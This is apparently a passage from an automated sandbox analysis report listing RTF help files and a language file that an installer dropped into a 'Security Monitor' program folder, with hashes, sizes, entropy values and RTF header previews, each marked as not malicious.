Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f39\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\is-UHK7A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50366
Entropy (8bit):	5.042918546603945
Encrypted:	false
SSDEEP:	768:2eFMz47wCEnkVlYgiDGi3w2EHnT2njX8x37HzX3MmwxEJBMmfX8+VUf8SP8VrZJ6:2ebHcIA9/
MD5:	479AE0F93EE93B62EDED9259EFD3D417
SHA1:	ADFC98043F7B02403F496028274A9849DADE9415
SHA-256:	AE39FDC0D0299C5CC2AE703E1F39CE87FB6317DFEFA3DD3957CC3C7BFC94233D
SHA-512:	914EB7570D95563A23BCF6CFC354297C7A9ECE8F48AC1E6F872B7CCAB00B9977271A7148444E8DD119EC6BD7C4A4DB4830EC7EEBDE89FDE72E6A20B3E5DA2E91
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial CYR;}{\f41\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flo

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50366
Entropy (8bit):	5.042918546603945
Encrypted:	false
SSDEEP:	768:2eFMz47wCEnkVlYgiDGi3w2EHnT2njX8x37HzX3MmwxEJBMmfX8+VUf8SP8VrZJ6:2ebHcIA9/
MD5:	479AE0F93EE93B62EDED9259EFD3D417
SHA1:	ADFC98043F7B02403F496028274A9849DADE9415
SHA-256:	AE39FDC0D0299C5CC2AE703E1F39CE87FB6317DFEFA3DD3957CC3C7BFC94233D
SHA-512:	914EB7570D95563A23BCF6CFC354297C7A9ECE8F48AC1E6F872B7CCAB00B9977271A7148444E8DD119EC6BD7C4A4DB4830EC7EEBDE89FDE72E6A20B3E5DA2E91
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial CYR;}{\f41\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flo

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	54667
Entropy (8bit):	5.033087064941872
Encrypted:	false
SSDEEP:	768:2QFDpxZMjE/d8NwyHF2njX8x3l7G5V5V5h5G5P5N5gkBJ5qA23YtFZSEHtoGCzU/:2Q9svIA9h
MD5:	51AF8BBE0EB54E295570F088C17CBBA4
SHA1:	E8CD73723EB618FA3F9A26B7F56EAA0C9397F0C9
SHA-256:	E9E9F0B183F57BEA6BF02B6BDCBAB45B8BACDFF889CD4E6882E62C3E3F8CC4C8
SHA-512:	582D0EB523E3AA4F152A858DD15C10F5379BA981EAAC75A5B427BCE8287634AF3D14D8AC045754B5FE3BEC9CAC317EC324D72EC2519C11FAE2A9FE3D60FD1F15
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	59955
Entropy (8bit):	4.987423779028573
Encrypted:	false
SSDEEP:	768:2FFbLxZjkouUyWXCrfTYlD2oC+zKjkMpAkVZEdvI9DFxg1946VKOFeOkOecLd6Pa:2FLIFxgCSIA9TkWIy
MD5:	E0ED1922B52E062A733812CDC97F78ED
SHA1:	FFE7CBE2173ABEC59FDD66949DF05FAE07310FBC
SHA-256:	436533A19E5DB84BAFC7FC2A0DBECE56577648EF416D5A54C2D3A9D46289B9BB
SHA-512:	95DF26BFFC5FD4B77773C460BDB438ACC4E1A3146E502C8D7FBECE9D29A842513E6C44DBFCB04BDB9682802CBE8BA6E49723C996A550EEB864392B71D184AE0B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	78843
Entropy (8bit):	4.977552271527579
Encrypted:	false
SSDEEP:	768:2FFfTw1wko5DlJXCrfTYlD2oC+zKjkMpAkVZEdvI9vTwliBKMkZKU4B3dHlbZBG4:2FuLTwlsdfmIA9U
MD5:	410CC0145DFADC0855A7081EC0808E79
SHA1:	4DB58BD6606D3266E9C3775CE5B41333DE38EC03
SHA-256:	D9C2247313A637FB992DCC176C9D96A06A891EA76F78E373FF038532FCC5EEBF
SHA-512:	B7B85D67CE8756DB341CD324592308AD6662D853E0CC08B3A64B09FB9D40D21B945EF1F4EEA8DF7DA92F281BED4B92930F81A0EDBEB7498CE03056AC0DF370CE
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f39\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48087
Entropy (8bit):	5.042429118311867
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/fB5+aWqeNgVVhGPNNlV9GEijSKcAPv6SAJjeR+RP8yJ0LTrI6JtOt:2e7dRRoIA9f
MD5:	4BF6C8774BA58F01B8916C5DDD525E82
SHA1:	F493778C8F8CBD77CC9FC11F1E628FD05C6B0F87
SHA-256:	1D3481510B1220FF2BB3EFBC4137E73A237842AEC233E289EDE6039412FC1ACA
SHA-512:	208BA94ECDB45A089AD16A665DA51C7C29267268DE83DFC4F44D8EE29805031DD79E9681E12F6D5C8CE9C8E13FAFB3CB9C5DA535712416D4941233E546A794A8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	51468
Entropy (8bit):	5.04658714654288
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/f15+0UcENgVVhGPNIlV9GEijaKcAPv6SAJjmYWR8KdYJ2nkfleSQ+:2e78tYiIA9U
MD5:	80A5E124BF233B48028E3886DE7897EB
SHA1:	F21E4120B6E2C4CABB5A2640AA208E9A94E193B7
SHA-256:	99807A4CF83C65D73CA39ADCC5058B28CA17812102304288420BAF9091DCDACE
SHA-512:	8168FB4A5E19938352E6E2662330214FB4A4209BD015F9615E3308FB808633EF346BAD56ED85B9946D8B40F87680B8B09B3676EF9591BDD27131A3C5842423D5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	66281
Entropy (8bit):	5.021285329842295
Encrypted:	false
SSDEEP:	768:2QFDJw1w0kWBP+WLZdfzbwKsFPcZR1yc+rZE7feMShR/pVRVGcefxRBcnjX8x3JO:2Q4Bb6IA9Z
MD5:	B9DE79AB06478D9A6CDFB82A7578E374
SHA1:	E103E4E779C53988209B3F0F752754162A5F638B
SHA-256:	7BCF98FA23001662B53624E64A48F45581CC6A5B70D53204203184A94581041B
SHA-512:	98F38D4D6CE05FA571C3AD3EE7C8751777F2A6EFB95C619DCD55F3F873AEC2842A578CE4CC654F2AA56E015D3D29955B8C49FE38CC3CBFD1B9D9910E9C7D9EED
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	53408
Entropy (8bit):	5.027531716371282
Encrypted:	false
SSDEEP:	768:2QFDC47+EvnaBT2njX8x33HcSAzpdhN0XmQ6ZdgvSSIAPZIAP6IAe+XUNRXp76PC:2QDXJksIA9U
MD5:	3BA78ADB6E868B5B64CA3AFD406569D8
SHA1:	3E8031CC5453C731A67604B495AEC251CAA93843
SHA-256:	C4EAC5BC2B6C11C7ED8741FF1ACCCAB71230E01EDD80403655EE54254673DA83
SHA-512:	28F58E5595C7DA45F3361C18B12014831D49B84D0FB572D331F2CFA71B8B22B16502DCDDFF6486F7767976BA0B379CBB21F467F9843962E4EA8A1E5E889EE79C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f40\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\*\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	50160
Entropy (8bit):	5.04516355825557
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/f95+6+WGNgVVhGPNolV9GEijPKcAPv6SAJjZR6TYqEkc0ij82oXTq:2e796RTIA9l
MD5:	D515DFD169E7F576978E8DDF94C8F57C
SHA1:	776FDAA33E7FBEFB6ECCB018DEEBEC03F23977E9
SHA-256:	3B6A48D3D59E44B95C982CD39E4F58CC7FA62237A089BDAC7844838F33C5CCD8
SHA-512:	8A61180120ED053F471874E0A8FA145071E39F89633C5C7085E84EBAC8BCC2E734E68F95D0B5C5C71CF168D5824D044D38C3C330CF2093121019D953C73A3431
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48219
Entropy (8bit):	5.043881411943709
Encrypted:	false
SSDEEP:	768:2eFfzxZCsxIa4IRVIvOM/rvg20xLjIddpuXVfs+zKjkMpTFFJ+kH3q+1yMPhU32n:2e7uFdIA9V
MD5:	8C8176E8F2409E52F66BA8228B6EEEF4
SHA1:	ED1F5902631C6273022B8C1C6582BD15FA76107F
SHA-256:	FFE2EACEDE61AFC4BEF5370CF51CF41430F2660FEF291087150EF773793F5448
SHA-512:	3210FB8DDB601E1CC322213CFAD6F6A463D882CCD2BA21A4ED19414FC074FA3AD597AAEA75F6B14D857EBE7FB54B5B0594F2661EDC7BAEC0BB26C746C841283D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	52084
Entropy (8bit):	5.0360425372195605
Encrypted:	false
SSDEEP:	768:2eFfzxZCCj/f85+jpnrNgVVhGPN2lV9GEijDKcAPv6SAJjVSkVeUZ53dqaYHErLm:2e720SvIA9l
MD5:	6C1BF76AEB182845D933C43B2FD3AD7E
SHA1:	2B5CF1297A2F29E1181C2231A521E57C207D16EC
SHA-256:	972A316D680C8D41CC19BE92E617D07832A9038CE9E5EEA23F1ABCC5DA983EE4
SHA-512:	7CC2F42278CDCC2DE781C8776095C83DB4739B635CDD93299A0BF08613C198A20F640BA8488C0B0655012D57B59F413EAF7EE57481BD4EBA3F5556E079D304B5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe2052\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}{\f40\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@SimSun;}{\flomaj

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\chinese\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	46096
Entropy (8bit):	5.034181446312948
Encrypted:	false
SSDEEP:	768:2FFU347wx2Oa75aEZM/rvg20xQBcqtqYepjRBcnjX8x3b99QONKaQB2Ctj+Z/6AI:2Fp7FIA9u
MD5:	B8B7FAFEA8A56DF708E8CE7BB37516F2
SHA1:	FA15A15E9BD2B99CE60BDF170FBD668F89D87C7C
SHA-256:	E28805183757391F057ADA505CD5648E029FBB4D3DBCDDB9B19B8135A11EC113
SHA-512:	C8D9F66F94D32353F59FF2A28153647906B01ECE715A764BA33B907E81B27AE411FE951ECDD039A9BD596B7EEA1CD9CC802991EE74BB8FF71A1BE051B6CC32A3
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1049\deflangfe1049\themelang1049\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f13\fbidi \fnil\fcharset134\fprq2{\\panose 02010600030101010101}SimSun{\\falt SimSun};}{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\f39\fbidi \fnil\fcharset134\fprq2{\\panose 00000000000000000000}@SimSun;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	17468
Entropy (8bit):	4.879377232061119
Encrypted:	false
